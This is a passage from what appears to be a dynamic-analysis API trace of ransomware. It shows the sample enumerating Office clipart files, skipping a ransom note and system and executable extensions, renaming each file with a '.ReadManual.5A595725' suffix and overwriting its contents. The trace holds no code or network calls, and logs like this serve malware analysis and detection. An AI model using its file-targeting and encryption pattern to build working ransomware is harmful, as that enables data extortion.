dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.084] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.086] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.086] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x336a) returned 0x2f0000 [0268.086] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.086] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38875499391) returned 1 [0268.086] CloseHandle (hObject=0x184) returned 1 [0268.086] SetSecurityInfo () returned 0x57 [0268.086] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.086] CloseHandle (hObject=0x194) returned 1 [0268.087] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0268.087] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0195248.WMF" | out: lpString1="J0195248.WMF") returned="J0195248.WMF" [0268.087] lstrcmpiW (lpString1="J0195248.WMF", lpString2="RecoveryManual.html") returned -1 [0268.087] StrStrIW (lpFirst="J0195248.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.087] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.087] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.087] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" [0268.087] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.ReadManual.5A595725" [0268.087] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.ReadManual.5A595725") returned 87 [0268.087] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38875595951) returned 1 [0268.087] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 0x20 [0268.087] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.088] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7332) returned 1 [0268.088] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ca4, lpName=0x0) returned 0x184 [0268.088] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.088] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.088] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.090] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.090] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ca4) returned 0x2f0000 [0268.090] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.090] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38875918268) returned 1 [0268.090] CloseHandle (hObject=0x184) returned 1 [0268.091] SetSecurityInfo () returned 0x57 [0268.091] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.091] CloseHandle (hObject=0x194) returned 1 [0268.091] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0268.091] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0195254.WMF" | out: lpString1="J0195254.WMF") returned="J0195254.WMF" [0268.091] lstrcmpiW (lpString1="J0195254.WMF", lpString2="RecoveryManual.html") returned -1 [0268.091] StrStrIW (lpFirst="J0195254.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.091] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.091] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.091] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" [0268.091] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.ReadManual.5A595725" [0268.091] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.ReadManual.5A595725") returned 87 [0268.091] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38876015698) returned 1 [0268.091] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 0x20 [0268.092] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.092] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4534) returned 1 [0268.092] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11b6, lpName=0x0) returned 0x184 [0268.092] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.093] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.093] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.094] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.095] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11b6) returned 0x2f0000 [0268.095] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.095] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38876360019) returned 1 [0268.095] CloseHandle (hObject=0x184) returned 1 [0268.095] SetSecurityInfo () returned 0x57 [0268.095] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.095] CloseHandle (hObject=0x194) returned 1 [0268.095] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0268.095] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0195260.WMF" | out: lpString1="J0195260.WMF") returned="J0195260.WMF" [0268.095] lstrcmpiW (lpString1="J0195260.WMF", lpString2="RecoveryManual.html") returned -1 [0268.095] StrStrIW (lpFirst="J0195260.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.095] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.095] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.095] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.095] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.095] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.095] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.095] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.095] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.096] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.096] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.096] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.096] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.096] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.096] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.096] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" [0268.096] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.ReadManual.5A595725" [0268.096] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.ReadManual.5A595725") returned 87 [0268.096] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38876456689) returned 1 [0268.096] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf")) returned 0x20 [0268.096] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.096] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8314) returned 1 [0268.096] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x207a, lpName=0x0) returned 0x184 [0268.096] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.097] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.097] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.099] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.099] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x207a) returned 0x2f0000 [0268.099] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.099] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38876791883) returned 1 [0268.099] CloseHandle (hObject=0x184) returned 1 [0268.099] SetSecurityInfo () returned 0x57 [0268.099] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.099] CloseHandle (hObject=0x194) returned 1 [0268.099] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0268.099] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0195320.WMF" | out: lpString1="J0195320.WMF") returned="J0195320.WMF" [0268.100] lstrcmpiW (lpString1="J0195320.WMF", lpString2="RecoveryManual.html") returned -1 [0268.100] StrStrIW (lpFirst="J0195320.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.100] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.100] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.100] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" [0268.100] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.ReadManual.5A595725" [0268.100] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.ReadManual.5A595725") returned 87 [0268.100] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38876890709) returned 1 [0268.100] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 0x20 [0268.101] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.101] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29432) returned 1 [0268.101] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x72f8, lpName=0x0) returned 0x184 [0268.101] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.102] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.104] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.104] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x72f8) returned 0x2f0000 [0268.104] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.105] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38877335968) returned 1 [0268.105] CloseHandle (hObject=0x184) returned 1 [0268.105] SetSecurityInfo () returned 0x57 [0268.105] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.105] CloseHandle (hObject=0x194) returned 1 [0268.105] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0268.105] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0195342.WMF" | out: lpString1="J0195342.WMF") returned="J0195342.WMF" [0268.105] lstrcmpiW (lpString1="J0195342.WMF", lpString2="RecoveryManual.html") returned -1 [0268.105] StrStrIW (lpFirst="J0195342.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.105] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.105] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.105] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" [0268.105] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.ReadManual.5A595725" [0268.106] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.ReadManual.5A595725") returned 87 [0268.106] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38877434266) returned 1 [0268.106] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 0x20 [0268.106] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.106] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21328) returned 1 [0268.106] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5350, lpName=0x0) returned 0x184 [0268.106] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.107] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.107] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.109] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.109] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5350) returned 0x2f0000 [0268.109] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.110] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38877838104) returned 1 [0268.110] CloseHandle (hObject=0x184) returned 1 [0268.110] SetSecurityInfo () returned 0x57 [0268.110] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.110] CloseHandle (hObject=0x194) returned 1 [0268.110] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0268.110] lstrcpyW (in: 